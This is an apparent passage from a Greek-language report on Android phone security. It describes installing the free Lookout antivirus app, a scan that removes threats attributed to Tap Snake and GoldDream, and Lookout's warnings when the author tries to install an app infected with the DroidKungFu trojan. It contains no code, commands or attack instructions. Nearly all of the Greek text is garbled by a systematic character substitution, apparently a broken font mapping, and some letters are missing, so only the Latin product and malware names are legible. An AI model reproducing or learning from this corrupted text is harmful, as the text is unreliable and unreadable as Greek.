Ο πην απιφο θαη απνηειεζκαηηθφο ηξφπνο γηα λα εμαζθαιίζεη θάπνηνο ηελ πξνζηαζία ηνπ 

θηλεηνχ ηνπ, είλαη κε ηελ εγθαηάζηαζε θάπνηνπ πξνγξάκκαηνο πξνζηαζίαο. ην θαηάζηεκα 

ηεο Google ππάξρνπλ πνιιέο εθαξκνγέο απφ γλσζηέο εηαηξίεο φπσο νη Avast, AVG, 

BitDefender αιιά θαη εθαξκνγέο απφ εηαηξίεο πνπ εηδηθεχνληαη κφλν ζηελ πξνζηαζία ηνπ 

ιεηηνπξγηθνχ Android. 

ηελ πεξίπησζε απηή εγθαηαζηάζεθε ην Lookout.ια ηα παξαπάλσ φπσο θαη ην Lookout 

είλαη δσξεάλ. ηαλ εγθαηαζηάζεθε ην Lookout, δφζεθε θαη ε επηινγή ηνπ Lookout Premium 

κε 25 πεξίπνπ επξψ ην Υξφλν. Γελ ζεσξψ φηη ππάξρεη αθφκα αλάγθε γηα ηνλ απιφ ρξήζηε λα 

πξνβεί ζε αγνξά πξνγξάκκαηνο πξνζηαζίαο. 

Με ηελ ζάξσζε ηνπ θηλεηνχ ηειεθψλνπ ην πξφγξακκα βξήθε ηξείο απεηιέο ζην θηλεηφ 

ηειέθσλν ηηο νπνίεο εμάιεηςε. Απηέο νθείινληαλ ζηα Tap Snake θαη GoldDream.  

ηαλ πξνζπάζεζα λα εγθαηαζηήζσ έλα αθφκα κνιπζκέλν πξφγξακκά, κε ην trojan 

DroidKungFu, ην θηλεηφ ηειέθσλν κνπ έδσζε δχν επηινγέο: ηελ εγθαηάζηαζε ή ηελ εμέηαζε 

γηα ηνχο πξηλ απηήο. Δπηιέγνληαο ηελ εμέηαζε πξψηα κε εηδνπνίεζε πσο πξφθεηηαη γηα 

Trojan. Έπεηηα κνπ έδσζε ηελ επηινγή αθαίξεζεο ή αγλφεζεο ηνπ. Δπέιεμα λα ην αγλνήζσ 

θαη ζην επφκελν παξάζπξν δηαιφγνπ. Με ηελ εγθαηάζηαζε ηεο εθαξκνγήο, ην Lookout κε 

εηδνπνίεζε μαλά πσο πξφθεηηαη γηα malware θαη ην αθαίξεζα. Θεσξψ ηνλ ηξφπν πξνζηαζίαο 

παλνκνηφηππν κε φια ηα αληίζηνηρα πξνγξάκκαηα. 

Αλ θαη πιένλ ν ρξήζηεο έρεη έλα ηζρπξφ εξγαιείν ζηα ρέξηα ηνπ εγθαζηζηψληαο έλα 

πξφγξακκα πξνζηαζίαο, νθείινπκε λα δειψζνπκε πσο δελ πξέπεη λα εθεζπράδεηαη. Κάζε 

κέξα παξάγνληαη εθαξκνγέο γηα ην Android θαη θάζε κέξα θάπνηεο απφ απηέο είλαη 

επηθίλδπλεο γηα ηνλ ρξήζηε. 
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